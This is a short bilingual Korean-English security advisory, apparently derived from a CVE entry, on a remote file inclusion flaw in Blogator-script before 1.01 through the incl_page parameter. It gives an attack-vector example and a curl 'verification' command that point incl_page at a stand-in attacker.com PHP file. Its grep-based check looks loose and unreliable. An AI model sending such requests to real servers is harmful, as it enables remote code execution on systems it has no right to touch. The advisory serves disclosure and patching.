🇰🇷 한글 설명
Blogator-script 1.01 이전 버전의 struct_admin.php, struct_admin_blog.php, struct_main.php 파일에 PHP 원격 파일 포함(RFI) 취약점이 존재합니다. incl_page 파라미터를 통해 원격 공격자가 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
Blogator라는 블로그 프로그램에 파일 경로를 입력받는 부분이 안전하지 않아, 해커가 다른 서버의 파일을 실행시킬 수 있습니다. 사용자가 악의적인 링크를 클릭하면 공격자의 코드가 서버에서 실행될 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Blogator-script before 1.01 allow remote attackers to execute arbitrary PHP code via a URL in the incl_page parameter in (1) struct_admin.php, (2) struct_admin_blog.php, and (3) struct_main.php in _blogadata/include.
📍 영향받는 시스템
Blogator-script 버전 1.01 이전 모든 버전
⚔️ 공격 벡터
incl_page 파라미터에 원격 URL을 입력하여 PHP 코드 실행 (예: ?incl_page=http://attacker.com/shell.php)
🛡️ 대응 방법
Blogator-script를 1.01 이상 버전으로 업그레이드하거나 incl_page 파라미터 입력값을 검증하고 로컬 경로만 허용하도록 수정
🔧 검증 코드
curl로 악의적인 URL이 포함된 요청을 보내서 원격 파일이 포함되는지 확인. PHP 에러나 경고가 나타나면 취약점 가능성 있음
curl -s 'http://target/struct_admin.php?incl_page=http://attacker.com/test.php' 2>&1 | grep -i 'php\|error\|warning' || echo 'No RFI vulnerability detected'